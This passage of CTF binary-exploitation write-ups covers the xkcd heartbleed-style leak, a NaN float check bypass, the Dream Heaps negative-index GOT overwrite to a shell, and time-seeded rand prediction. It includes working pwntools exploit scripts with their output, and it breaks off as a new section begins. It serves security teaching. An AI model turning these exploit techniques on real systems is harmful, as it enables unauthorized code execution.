$ $ w
w
 03:58:44 up 3 days,  3:25,  0 users,  load average: 7.25, 7.27, 7.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ $ cat flag.txt
cat flag.txt
flag{4_d0ub1e_d0ub1e_3ntr3ndr3}
```

Just like that, we got the flag!

Defcon Quals 2016 xkcd

Let's take a look at the challenge:

```
$    file xkcd
xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically
linked, for GNU/Linux 2.6.32, with debug_info, not stripped
$    pwn checksec xkcd
[*] '/Hackery/all/dcquals16/xkcd/xkcd'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

So we can see that it is a `64` bit statically compiled binary with a non-executable stack. The challenge also gives us a link to https://xkcd.com/1354/, which is the heartbleed xkcd. So it probably has some relevance to that exploit. Also a bit of a spoiler, this challenge is going to seem more like a reversing challenge than a pwn one. When we take a look at the main function in ghidra, we see all of the code that we need to:

```
undefined8
main(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8
uParm4,undefined8 uParm5,
    undefined8 uParm6)

{
  int input;
  int iVar1;
  int y;
  int x;
  long flagHandle;
  undefined8 lenPart;
  ulong len;
  ulong nullByte;
  undefined auStack56 [4];
  int index;
  long z;
  long flagFile;

  setvbuf(stdout,0,2,0,uParm5,uParm6,uParm2);
  setvbuf(stdin,0,2,0);
  bzero(0x6b7540,0x100);
  flagHandle = fopen64(&flag,&r);
  if (flagHandle == 0) {
    puts("Could not open the flag.");
    return 0xffffffff;
  }
  fread(0x6b7540,1,0x100,flagHandle);
  do {
    input = fgetln(stdin,auStack56,auStack56);
    iVar1 = strtok((long)input,&?);
    iVar1 = strcmp((long)iVar1,"SERVER, ARE YOU STILL THERE");
    if (iVar1 != 0) {
      puts("MALFORMED REQUEST");
      exit(0xffffffff);
    }
    iVar1 = strtok(0,&");
    iVar1 = strcmp((long)iVar1," IF SO, REPLY ");
    if (iVar1 != 0) {
      puts("MALFORMED REQUEST");
      exit(0xffffffff);
    }
    iVar1 = strtok(0,&");
    lenPart = strlen((long)iVar1);
    memcpy(globals,(long)iVar1,lenPart);
    strtok(0,&();
    x = strtok(0,&));
    __isoc99_sscanf((long)x,"%d LETTERS",&index);
    globals[(long)index] = 0;
    nullByte = SEXT48(index);
    len = strlen(globals);
```

```
    if (len < nullByte) {
      puts("NICE TRY");
      exit(0xffffffff);
    }
    puts(globals);
  } while( true );
}
```

Let's go through this bit by bit. Starting off we can see that it clears out a space at `0x6b7540` in the bss, then will open up the flag file with the name `flag` (the string stored in the `flag` variable). Because of this and the check it does to ensure it's successful, we will need to create a file titled `flag` that resides in the same directory as the binary in order to run it. However this block of code is essentially just scanning in the contents of the flag file to the global variables address `0x6b7540` :

```
  bzero(0x6b7540,0x100);
  flagHandle = fopen64(&flag,&r);
  if (flagHandle == 0) {
    puts("Could not open the flag.");
    return 0xffffffff;
  }
  fread(0x6b7540,1,0x100,flagHandle);
```

Next up, we can see that it scans in our input with a `fgetln` call. Proceeding that it will split up our input with the `strtok` function using the character `?` (stored in the `?` variable) as a delimiter. Then it will compare the output of `strtok` with the string `SERVER, ARE YOU STILL THERE` and return if they don't match. In order to pass this check, we will need to start off our input with `SERVER, ARE YOU STILL THERE?` :

```
    input = fgetln(stdin,auStack56,auStack56);
    iVar1 = strtok((long)input,&?);
    iVar1 = strcmp((long)iVar1,"SERVER, ARE YOU STILL THERE");
    if (iVar1 != 0) {
      puts("MALFORMED REQUEST");
      exit(0xffffffff);
    }
```

This next block is pretty similar to the last one. It is parsing the same string (we can tell since `strtok` has a `0x0` in the spot the input string goes). In order to pass this check we need to insert the string ` IF SO, REPLY "` right after the last string:

```
iVar1 = strtok(0,&");
iVar1 = strcmp((long)iVar1," IF SO, REPLY ");
if (iVar1 != 0) {
  puts("MALFORMED REQUEST");
  exit(0xffffffff);
}
```

For this part, we don't need our input to be a specific string in order to pass a check. Again it will delimited it with a `"` character similar to the last block. Slight twist here with this string being copied to `globals` (bss address `0x6b7340`) which is before where the flag is stored in memory:

```
iVar1 = strtok(0,&");
lenPart = strlen((long)iVar1);
memcpy(globals,(long)iVar1,lenPart);
```

Next up we can see that it calls `strtok` on our initial input twice more. Once with the `(` character as a delimiter, and once more with the `)` character as a delimiter. When it used the `(` character, it really doesn't do anything meaningful with it as far as we are concerned. However when it uses `)` as a delimiter, it scans it in as in integer to `index` which is then used as in index to a null byte write to `globals`. This will come into play in a moment:

```
strtok(0,&();
x = strtok(0,&));
__isoc99_sscanf((long)x,"%d LETTERS",&index);
globals[(long)index] = 0;
```

Now essentially what this bottom portion of the program does, is it passes the address of `globals` (`0x6b7340`) to puts to print it out. Our input is copied to `globals` in a previous block. Before it prints it out, it will null terminate a value at some offset we specify which if it is in between the start of our input and the start of the flag we won't get the flag. In addition to that it does a check where if the index we gave it is past the length of the string that starts at `globals`, it returns.

```
  nullByte = SEXT48(index);
  len = strlen(globals);
  if (len < nullByte) {
    puts("NICE TRY");
    exit(0xffffffff);
  }
  puts(globals);
}
```

Now the offset between the start of our input and the flag is `0x6b7540 - 0x6b7340 = 0x200`, so we will need to have a string of length `0x200` copied over to `globals` in order to leak the flag. To pass the index check we can just set it to be the very end of the string (of course when we run it remotely we don't know where the end is, but we can just guess and check). That way we pass all of the checks (assuming we guessed right, it's not much like 5-10 byte increments) and we leak the flag. This is based off of the Heartbleed exploit since Heartbleed exploit was based off of leaking memory from a server by requesting more data from a server with a specified length that was larger than the length of the data. That is exactly what we did here.

Putting it all together here is a script that will leak it locally, when the flag is `flag{g0ttem_b0yz}`:

```
from pwn import *

target = process('./xkcd')
#gdb.attach(target, gdbscript = 'b *0x401034\nb *0x401077\nb* 0x4010ba\nb
*0x4010f4\nb *0x40110e')
gdb.attach(target, gdbscript='b *main+0x1f1')

payload = ""
payload += "SERVER, ARE YOU STILL THERE"
payload += "?"
payload += " IF SO, REPLY "
payload += '\"'
payload += "0"*0x200
payload += "\""
payload += "111"
payload += "("
payload += "530"
payload += ")"

target.sendline(payload)

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './xkcd': pid 14087
[*] running in new terminal: /usr/bin/gdb -q  "./xkcd" 14087 -x
"/tmp/pwnkc4E6c.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
```

Sunshine CTF 2017 Alternate Solution

Let's take a look at the binary. Also a bit of a spoiler, this isn't exactly index related however at the time this is the best place I thought to put this (and I didn't want to make an entire module for this):

```
$    file alternate_solution
alternate_solution: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=71145a1bcd538b6d000dfce2357c01cfe53a3db9, not stripped
$    pwn checksec alternate_solution
[*] '/Hackery/pod/modules/index/sunshinectf2017_alternatesolution
/alternate_solution'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./alternate_solution
15935728
Too high just like your hopes of reaching the bottom.
```

So we can see that we are dealing with a `64` bit binary. When we look at the main function in Ghidra we see this:

```
undefined8 main(void)

{
  long lVar1;
  FILE *flagFile;
  char *pcVar2;
  long in_FS_OFFSET;
  double inpFloat;
  char input [10];
  char flagBuf [56];
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(input,10,stdin);
  inpFloat = atof(input);
  if ((float)inpFloat < 37.35928345) {
    puts("Too low just like you\'re chances of reaching the bottom.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (37.35928345 < (float)inpFloat) {
    puts("Too high just like your hopes of reaching the bottom.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  flagFile = fopen("flag.txt","r");
  while( true ) {
    pcVar2 = fgets(flagBuf,0x32,flagFile);
    if (pcVar2 == (char *)0x0) break;
    printf("%s",flagBuf);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see that the input we gave it is converted to a float. If it is greater than or less than `37.35928345`, the program will exit. We can see that if it doesn't exit, then it will scan in the contents of `flag.txt` and print it (thus we get the flag). However there is one issue. The value `37.35928345` contains more decimal places than a float handles, so we can get the number `37.35928345` to pass those checks:

```
$    ./alternate_solution
37.35928345
Too low just like you're chances of reaching the bottom.
```

So we can't pass in the number `37.35928345` which is the only number not greater than or less than `37.35928345`. However we can still fail both checks. Floats have a special value called `nan` (stands for not a number). If the float is not a number, it will not be greater than, less than, or equal to `37.35928345` since it isn't a number. With that we can fail both checks and get the flag:

```
$    ./alternate_solution
nan
sun{50m3times yoU_h@v3_t0 get cr3@t1v3}
```

Just like that, we got the flag. Also this is another challenge I made for Sunshine CTF back in 20117.

Dream Heap

This writeup goes out to my friend and the person who made this challenge the man the myth the legend himself, noopnoop.

```
$    file dream_heaps
dream_heaps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=9968ee0656a4b24cb6bf5ebc1f8f37d4ddd0078d, not stripped
$    pwn checksec dream_heaps
[*] '/Hackery/swamp/dream/dream_heaps'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./dream_heaps
Online dream catcher! Write dreams down and come back to them later!

What would you like to do?
1: Write dream
2: Read dream
3: Edit dream
4: Delete dream
5: Quit
>
```

So we are given a libc file `libc6.so`, and a `64` bit elf with no PIE or RELRO. The elf allows us to make dreams, read dreams, edit dreams, and delete dreams.

Reversing

When we look at the main function in ghidra, we see that it is essentially just a menu for the four different options:

```
void main(void)

{
  long in_FS_OFFSET;
  undefined4 menuOption;
  undefined8 canary;

  canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
  menuOption = 0;
  puts("Online dream catcher! Write dreams down and come back to them
later!\n");
  puts("What would you like to do?");
  puts("1: Write dream");
  puts("2: Read dream");
  puts("3: Edit dream");
  puts("4: Delete dream");
  printf("5: Quit\n> ");
  __isoc99_scanf(&DAT_00400b60,&menuOption);
  switch(menuOption) {
  default:
    puts("Not an option!\n");
    break;
  case 1:
    new_dream();
    break;
  case 2:
    read_dream();
    break;
  case 3:
    edit_dream();
    break;
  case 4:
    delete_dream();
    break;
  case 5:
                    /* WARNING: Subroutine does not return */
    exit(0);

}
```

When we look at the Ghidra pseudocode for the `new_dream` function which allows us to write new dreams, we see this:

```
void new_dream(void)

{
  long lVar1;
  void *dreamPtr;
  long in_FS_OFFSET;
  int dreamLen;
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  dreamLen = 0;
  puts("How long is your dream?");
  __isoc99_scanf(&DAT_00400b60,&dreamLen);
  dreamPtr = malloc((long)dreamLen);
  puts("What are the contents of this dream?");
  read(0,dreamPtr,(long)dreamLen);
  *(void **)(HEAP_PTRS + (long)INDEX * 8) = dreamPtr;
  *(int *)(SIZES + (long)INDEX * 4) = dreamLen;
  INDEX = INDEX + 1;
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();

  return;
}
```

So for making a new dream, it first prompts us for a size. It then mallocs a space of memory equal to the size we gave it. It then let's us scan in as many bytes as we specified with the size. It then will save the heap pointer and the size of the space in the `HEAP_PTRS` and `SIZES` bss arrays at the addresses `0x6020a0` and `0x6020e0` (double click on the pointers in the assembly to see where they map to the bss). The index in the array will be equal to the value of `INDEX` which is a bss integer stored at `0x60208c`. After this it will increment the value of `INDEX`. Next up we have the read function:

```
void read_dream(void)

{
  long lVar1;
  long in_FS_OFFSET;
  int index;
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which dream would you like to read?");
  index = 0;
  __isoc99_scanf(&DAT_00400b60,&index);
  if (INDEX < index) {
    puts("Hmm you skipped a few nights...");

  else {
    printf("%s",*(undefined8 *)(HEAP_PTRS + (long)index * 8));

  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();

  return;
}
```

Here we can see that it prompts us for an index to `HEAP_PTRS`, and first checks that it is not larger than `INDEX` to prevent us from reading something past it. It will then grab a pointer from `HEAP_PTRS` from the desired index, and print it. However there is a bug here. While it checks to make sure that we gave it an index smaller than or equal to `INDEX`, it doesn't check to see if we gave it an index smaller than one. This bug will allow us to read something from memory before the start of the `HEAP_PTRS` array in the bss. In addition to that since `INDEX` is incremented after it adds a new value, it will be equal to the next dream that is allocated. Since it just checks to make sure our index isn't greater than `INDEX` we can go past one spot for the end of the pointers in `HEAP_PTRS`. Next up we have the `edit_dream` function:

```
void edit_dream(void)

{
  long lVar1;
  long in_FS_OFFSET;
  int index;
  long canary;
  void *ptr;
  int size;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which dream would you like to change?");
  index = 0;
  __isoc99_scanf(&DAT_00400b60,&index);
  if (INDEX < index) {
    puts("You haven\'t had this dream yet...");

  else {
    ptr = *(void **)(HEAP_PTRS + (long)index * 8);
    size = *(int *)(SIZES + (long)index * 4);
    read(0,ptr,(long)size);
    *(undefined *)((long)ptr + (long)size) = 0;

  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();

  return;
}
```

So here it prompts us for an index, and has the same vulnerable index check from `read_dream`. If the index check passes it will take the pointer stored in `HEAP_PTRS` and the integer stored in `SIZES` at the index you specified and allow you to write that many bytes to the pointer. After that it will null terminate the buffer by setting `ptr + size` equal to `0x0`. However since arrays are zero index, it should be `ptr + (size - 1)` and thus it gives us a single null byte overflow. The last function we'll look at closely is the `delete_dream` function:

```
void delete_dream(void)

{
  long lVar1;
  long in_FS_OFFSET;
  int index;
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which dream would you like to delete?");
  index = 0;
  __isoc99_scanf(&DAT_00400b60,&index);
  if (INDEX < index) {
    puts("Nope, you can\'t delete the future.");

  else {
    free(*(void **)(HEAP_PTRS + (long)index * 8));
    *(undefined8 *)(HEAP_PTRS + (long)index * 8) = 0;

  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();

  return;
}
```

So just like the `read_dream` and `edit_dream` functions, it prompts us for an index and runs a vulnerable check on it. If it passes, it will free the pointer in `HEAP_PTRS` stored at that index and set it equal to 0 (so no use after free here). However it leaves the corresponding value in `SIZES` behind.

Exploitation

So we have an index check bug with the read, edit, and free function. On top of that we have a single null byte overflow. We can use the index check bug in the read function to get a libc infoleak. After that we can use the index check bug with the edit function to get that got table overwrite. The intended solution was to use the single null byte overflow to cause heap consolidation, however this seems a bit easier.

For the libc infoleak, we will need a pointer to a pointer to a libc address. This is because with the dreams are stored in a 2D array. Luckily for us since there is no PIE we can just read an address from the got table (which is a table mapping various functions to their libc addresses). However first we will need an address to the got table, which we can find using gdb:

```
gef➤  p puts
$1 = {int (const char *)} 0x7ffff7a649c0 <_IO_puts>
gef➤  search-pattern 0x7ffff7a649c0
[+] Searching '0x7ffff7a649c0' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps
/dream_heaps'(0x602000-0x603000), permission=rw-
  0x602020 - 0x602038  →   "\xc0\x49\xa6\xf7\xff\x7f[...]"
gef➤  search-pattern 0x602020
[+] Searching '0x602020' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps
/dream_heaps'(0x400000-0x401000), permission=r-x
  0x400538 - 0x400539  →   "`"
```

Here we can see that the address `0x400538` will work for us. To leak the address we just need to read the dream at offset `-263021`. This is because `HEAP_PTRS` starts at `0x6020a0` and `0x6020a0 - 0x400538 = 0x201b68` and `0x201b68 / 8 = 263021`.

Now for the got overwrite, we can use a couple of things to exploit that. Firstly if we make enough dreams, they will overflow into the sizes. This is because there isn't a check for this, and `SIZES` starts at `0x602080` and `HEAP_PTRS` starts at `0x6020a0`. The difference between the two is `0x40` bytes, and since pointers are `0x8` bytes it will just be `8` pointers before we start overflowing them. In addition to that since ints are `4` bytes, the two will overlap nicely and end up being written behind the pointers. When we try making a lot of different dreams, we see that we can end up writing a pointer than can be reached by the `edit_dream` function:

```
gef➤  x/30g 0x6020a0
0x6020a0 <HEAP_PTRS>: 0x00000000013ea020  0x00000000013ea040
0x6020b0 <HEAP_PTRS+16>:  0x00000000013ea070  0x00000000013ea0b0
0x6020c0 <HEAP_PTRS+32>:  0x00000000013ea100  0x00000000013ea160
0x6020d0 <HEAP_PTRS+48>:  0x00000000013ea1d0  0x00000000013ea250
0x6020e0 <SIZES>: 0x00000000013ea2e0  0x00000000013ea380
0x6020f0 <SIZES+16>:  0x00000000013ea430  0x00000000013ea4f0
0x602100: 0x00000000013ea5c0  0x00000000013ea6a0
0x602110: 0x00000000013ea790  0x00000011013ea890
0x602120: 0x0000003300000022  0x0000005500000044
0x602130: 0x0000007700000066  0x0000009900000088
0x602140: 0x000000bb000000aa  0x000000dd000000cc
0x602150: 0x00000000013eaac0  0x00000000013eab50
0x602160: 0x00000000013eac00  0x00000000013eacc0
0x602170: 0x00000000013ead90  0x00000000013eae70
0x602180: 0x0000000000000000  0x0000000000000000
```

The pointers are addresses like 0x13eaac0, and the sizes are the integers like 0x99 and 0x88. At 0x602128 (which would be at index 17) we can see would be a nice place to write a pointer with the sizes. This is not only because we control it with sizes, but when we edit a dream it will also grab a size from the SIZES array that we will need to be at least 0x8. If we choose index 17, it will grab the integer from 0x602124 which we also control it with the sizes. So by choosing the offset 17 to edit, by making dreams with certain sizes we can control both the address that is written to and the size.

Also for the function that we will be overwriting the got address of will be `free` at `0x601fb0`. This is because it won't cause any real issues for us, and to get a shell we will just have to free a dream with the contents `/bin/sh`:

```
$ objdump -R dream_heaps | grep free
0000000000602018 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5
```

Code

Putting it all together into our exploit, we get this. Also since our exploit relies on calling code from libc, it is dependent on which libc version you're using. If you're libc version is different then the one in the exploit, just swap out the file (check memory mappings in gdb to see which one you're using if this exploit doesn't work):

```
from pwn import *

target = process('./dream_heaps')
libc = ELF('libc-2.27.so') # If you have a different libc file, run it here

gdb.attach(target)

puts = 0x662f0
system = 0x3f630
offset = system - puts

def write(contents, size):
  print target.recvuntil('> ')
  target.sendline('1')
  print target.recvuntil('dream?')
  target.sendline(str(size))
  print target.recvuntil('dream?')
  target.send(contents)

def read(index):
  print target.recvuntil('> ')
  target.sendline('2')
  print target.recvuntil('read?')
  target.sendline(str(index))
  leak = target.recvuntil("What")
  leak = leak.replace("What", "")
  leak = leak.replace("\x0a", "")
  leak = leak + "\x00"*(8 - len(leak))
  leak = u64(leak)
  log.info("Leak is: " + hex(leak))
  return leak

def edit(index, contents):
  print target.recvuntil('> ')
  target.sendline('3')
  print target.recvuntil('change?')
  target.sendline(str(index))
  target.send(contents[:6])

def delete(index):
  print target.recvuntil('> ')
  target.sendline('4')
  print target.recvuntil('delete?')
  target.sendline(str(index))

# Get the libc infoleak via absuing index bug
puts = read(-263021)
libcBase = puts - libc.symbols['puts']

# Setup got table overwrite via an overflow
write('/bin/sh\x00', 0x10)
write('0'*10, 0x20)
```

```
write('0'*10, 0x30)
write('0'*10, 0x40)
write('0'*10, 0x50)
write('0'*10, 0x60)
write('0'*10, 0x70)
write('0'*10, 0x80)
write('0'*10, 0x90)
write('0'*10, 0xa0)
write('0'*10, 0xb0)
write('0'*10, 0xc0)
write('0'*10, 0xd0)
write('0'*10, 0xe0)
write('0'*10, 0xf0)
write('0'*10, 0x11)
write('0'*10, 0x22)
write('0'*10, 0x18)
write('0'*10, 0x602018)
write('0'*10, 00)

# Write libc address of system to got free address
edit(17, p64(libcBase + libc.symbols['system']))

# Free dream that points to `/bin/sh` to get a shell
delete(0)

target.interactive()
```

when we run it:

```
$ python exploit.py
[+] Starting local process './dream_heaps': pid 9062
[*] '/Hackery/pod/modules/index/swampctf19_dreamheaps/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] running in new terminal: /usr/bin/gdb -q  "./dream_heaps" 9062 -x
"/tmp/pwnjqPcIc.gdb"
[+] Waiting for debugger: Done
Online dream catcher! Write dreams down and come back to them later!

.    .    .

Which dream would you like to delete?
[*] Switching to interactive mode

$ w
 22:17:41 up  1:47,  1 user,  load average: 0.39, 0.45, 0.31
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               20:31   ?xdm?   3:50   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
core  dream_heaps  exploit.py  libc-2.27.so  readme.md
```

Just like that, we captured the flag!

Bad Seed

h3 time

Let's take a look at the binary:

```
$       file time
time: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=4972fe3e2914c74bc97f0623f0c4643c40300dab, not stripped
$       pwn checksec time
[*] '/Hackery/pod/modules/bad_seed/h3_time/time'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$       ./time
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a flag!
Enter your number: 15935728
Your guess was 15935728.
Looking for 1618853741.
Sorry. Try again, wrong guess!
```

So we can see that we are dealing with a 64 bit binary. When we run it, it prompts us to guess a number. When we take a look at the main function in Ghidra, we see this:

```c
undefined8 main(void)

{
  long lVar1;
  uint targetNumber;
  time_t time;
  long in_FS_OFFSET;
  uint input;
  uint randomValue;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  time = time((time_t *)0x0);
  srand((uint)time);
  targetNumber = rand();
  puts("Welcome to the number guessing game!");
  puts("I\'m thinking of a number. Can you guess it?");
  puts("Guess right and you get a flag!");
  printf("Enter your number: ");
  fflush(stdout);
  __isoc99_scanf(&fmtString,&input);
  printf("Your guess was %u.\n",(ulong)input);
  printf("Looking for %u.\n",(ulong)targetNumber);
  fflush(stdout);
  if (targetNumber == input) {
    puts("You won. Guess was right! Here\'s your flag:");
    giveFlag();
  }
  else {
    puts("Sorry. Try again, wrong guess!");
  }
  fflush(stdout);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see it generates a random number using the `rand` function. It then prompts us for input using `scanf` with the `%u` format string stored in `fmtString` (double click on `fmtString` in the assembly to see it). Then it checks if the two number are the same, and if they are it will run the `giveFlag` function which when we look at it, we can see that it reads prints out the flag file from `/home/h3/flag.txt` :

```
void giveFlag(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  memset(local_118,0,0x100);
  __stream = fopen("/home/h3/flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Flag file not found!  Contact an H3 admin for assistance.");
  }
  else {
    fgets(local_118,0x100,__stream);
    fclose(__stream);
    puts(local_118);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So we need to figure out what the output of the `rand` function will be. Thing is the output of the `rand` function is not actually random. The output is based off a value called a seed, which it uses to determine what number sequence to generate. So if we can get the same seed, we can get `rand` to generate the same sequence of numbers. Looking at the decompiled code, we see that it uses the current time as a seed:

```
  time = time((time_t *)0x0);
  srand((uint)time);
```

So if we just write a simple C program to use the current time as a seed, and output a digit and redirect the output to the target, we will solve the challenge:

```
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<stdint.h>
#include<string.h>

int main()
{
    uint32_t rand_num;
    srand(time(0)); //seed with current time
    rand_num = rand();
    uint32_t ans;
    printf("%d\n", rand_num);
}
```

When we compile and run it:

```
$       cat solve.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>

int main()
{
    uint32_t rand_num;
    srand(time(0));
    rand_num = rand();
    uint32_t ans;
    printf("%d\n", rand_num);
}
$       gcc solve.c -o solve
$       ./solve | ./time
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a flag!
Enter your number: Your guess was 1075483710.
Looking for 1075483710.
You won. Guess was right! Here's your flag:
Flag file not found!  Contact an H3 admin for assistance.
```

We can see that we solved it. It didn't print the flag since the file `/home/h3/flag.txt` does not exist, however it prints out an error message seen in the `giveFlag` function so we know that we solved it.

hsctf 2019 tux talk show

Let's take a look at the binary:

```
$       pwn checksec tuxtalkshow
[*] '/Hackery/pod/modules/bad_seed/hsctf19_tuxtalkshow/tuxtalkshow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$       file tuxtalkshow
tuxtalkshow: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l,
BuildID[sha1]=8c0d2b94392e01fecb4b54999cc8afe6fa99653d, for GNU/Linux 3.2.0, not
stripped
$       ./tuxtalkshow
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 15935728
```

So we can see that we are dealing with a 64 bit binary with PIE enabled. When we run it, it prompts us for a number. When we look at the `main` function we see this:

```
undefined8 main(void)

{
  int randVal;
  time_t time;
  basic_ostream *this;
  long in_FS_OFFSET;
  int input;
  int j;
  int targetNumber;
  int i;
  int array [4];
  basic_string local_248 [32];
  basic_istream local_228 [520];
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  basic_ifstream((char *)local_228,0x1020b0);
  time = time((time_t *)0x0);
  srand((uint)time);
                    /* try { // try from 0010127e to 001012c0 has its
CatchHandler @ 00101493 */
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky
number: ");
  operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input);
  array[0] = 0x79;
  array[1] = 0x12c97f;
  array[2] = 0x135f0f8;
  array[3] = 0x74acbc6;
  j = 0;
  while (j < 6) {
    randVal = rand();
    array[(long)j] = array[(long)j] - (randVal % 10 + -1);
    j = j + 1;
  }
  targetNumber = 0;
  i = 0;
  while (i < 6) {
    targetNumber = targetNumber + array[(long)i];
    i = i + 1;
  }
  if (targetNumber == input) {
    basic_string();
                    /* try { // try from 00101419 to 00101448 has its
CatchHandler @ 0010147f */
    operator>><char,std--char_traits<char>,std--allocator<char>>
(local_228,local_248);
    this = operator<<<char,std--char_traits<char>,std--allocator<char>>
```

```
                    ((basic_ostream *)cout,local_248);
    operator<<((basic_ostream<char,std--char_traits<char>>
*)this,endl<char,std--char_traits<char>>)
    ;
    ~basic_string((basic_string<char,std--char_traits<char>,std--
allocator<char>> *)local_248);
  }
  ~basic_ifstream((basic_ifstream<char,std--char_traits<char>> *)local_228);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see, it starts off by scanning in the contents of `flag.txt` to `local_228`. Proceeding that we see that it initializes an int array with size entries, although the decompilation only shows four. Looking at the assembly code shows us the rest:

```
        001012c1 c7 85 88        MOV        dword ptr [local_280 + RBP],0x79
                 fd ff ff
                 79 00 00 00
        001012cb c7 85 8c        MOV        dword ptr [local_27c + RBP],0x12c97f
                 fd ff ff
                 7f c9 12 00
        001012d5 c7 85 90        MOV        dword ptr [local_278 +
RBP],0x135f0f8
                 fd ff ff
                 f8 f0 35 01
        001012df c7 85 94        MOV        dword ptr [local_274 +
RBP],0x74acbc6
                 fd ff ff
                 c6 cb 4a 07
        001012e9 c7 85 98        MOV        dword ptr [local_270 +
RBP],0x56c614e
                 fd ff ff
                 4e 61 6c 05
        001012f3 c7 85 9c        MOV        dword ptr [local_26c +
RBP],0xffffffe2
                 fd ff ff
                 e2 ff ff ff
```

Also we can see that it uses time as a seed. Proceeding that it performs an algorithm where it will generate random numbers (using time as a seed) to edit the values of `array`, then accumulate all of those values and that is the number we are supposed to guess. Since the `rand` function is directly based off of the seed, and since the seed is the time, we know what values the `rand` function will output. Thus we can just write a simple C program that will simply use time as a seed, and just generate the same number that the target wants us to guess. With that, we can solve the challenge!

```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>

int main()
{
    int array[6];
    int i, output;
    uint32_t randVal, ans;

    srand(time(0));


    i = 0;

    array[0] = 0x79;
    array[1] = 0x12c97f;
    array[2] = 0x135f0f8;
    array[3] = 0x74acbc6;
    array[4] = 0x56c614e;
    array[5] = 0xffffffe2;

    while (i < 6)
    {
        randVal = rand();
        array[i] = array[i] - ((randVal % 10) - 1);
        i += 1;
    }

    i = 0;
    output = 0;

    while (i < 6)
    {
        output = output + array[i];
        i += 1;
    }


    printf("%d\n", output);
}
```

With that, we can solve the challenge. In order for this to work, `flag.txt` needs to be in the same directory as the binary `tuxtalkshow`:

```
$       ./solve | ./tuxtalkshow
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: flag{i_need_to_think_of_better_flags}
```

Just like that, we got the flag!

Sunshine CTF 2017 Prepared

Let's take a look at the binary:

```
$    pwn checksec prepared
